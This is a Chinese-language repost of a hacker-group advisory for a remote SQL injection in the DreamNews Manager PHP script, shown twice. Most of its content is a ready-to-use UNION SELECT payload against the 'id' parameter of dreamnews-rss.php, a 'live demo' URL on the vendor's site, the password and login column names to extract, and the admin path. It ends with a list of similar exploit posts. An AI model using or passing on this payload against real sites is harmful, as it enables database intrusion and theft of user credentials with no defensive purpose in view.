佚名 向大家分享了DreamNews Manager (id) Remote SQL Injection Vulnerability ,其中包含vulnerability,vulnerability labs,vulnerability翻译,vulnerability scan,web vulnerability等知识点,遇到此问题的同学们可以参考下
#########################################################
#
# dreamnews ( rss) Remote SQL Injection Vulnerability
#========================================================
# Author: Hussin X =
# =
# Home : www.tryag.cc/cc =
# =
# email: darkangel_g85[at]Yahoo[DoT]com =
# =
#=========================================================
#
# script : http://dreamlevels.com/dreamnews.php
#
# DorK : N/A
#
##########################################################
Exploit:
www.[target].com/Script/dreamnews-rss.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,concat_ws(user(),version(),database()),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36--
L!VE DEMO:
http://dreamlevels.com/demo/dreamnews/dreamnews-rss.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,concat_ws(user(),version(),database()),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36--
column_name :
user_password
user_login
Admin Login :
/admin/
########################( Greetz )###########################
# #
# tryag.cc / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUR /str0ke #
# #
# Iraqihack / FAHD / mos_chori / Silic0n #
# #
#############################################################
Im IRAQi
</div>
#
# dreamnews ( rss) Remote SQL Injection Vulnerability
#========================================================
# Author: Hussin X =
# =
# Home : www.tryag.cc/cc =
# =
# email: darkangel_g85[at]Yahoo[DoT]com =
# =
#=========================================================
#
# script : http://dreamlevels.com/dreamnews.php
#
# DorK : N/A
#
##########################################################
Exploit:
www.[target].com/Script/dreamnews-rss.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,concat_ws(user(),version(),database()),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36--
L!VE DEMO:
http://dreamlevels.com/demo/dreamnews/dreamnews-rss.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,concat_ws(user(),version(),database()),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36--
column_name :
user_password
user_login
Admin Login :
/admin/
########################( Greetz )###########################
# #
# tryag.cc / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUR /str0ke #
# #
# Iraqihack / FAHD / mos_chori / Silic0n #
# #
#############################################################
Im IRAQi
</div>
您可能想查找下面的文章:
- Wysi Wiki Wyg 1.0 (index.php c) Local File Inclusion Vulnerability
- Facebook Newsroom CMS 0.5.0 Beta 1 Remote File Inclusion Vulnerability
- DreamNews Manager (id) Remote SQL Injection Vulnerability
- phpDatingClub (website.php page) Local File Inclusion Vulnerability
- Pluck 4.5.1 (blogpost) Local File Inclusion Vulnerability (win only)
- Pragyan CMS 2.6.2 (sourceFolder) Remote File Inclusion Vulnerability
- AlstraSoft Affiliate Network Pro (pgm) Remote SQL Injection Vulnerability
- Maian Cart 1.1 Insecure Cookie Handling Vulnerability
- Maian Gallery 2.0 Insecure Cookie Handling Vulnerability
- Maian Events 2.0 Insecure Cookie Handling Vulnerability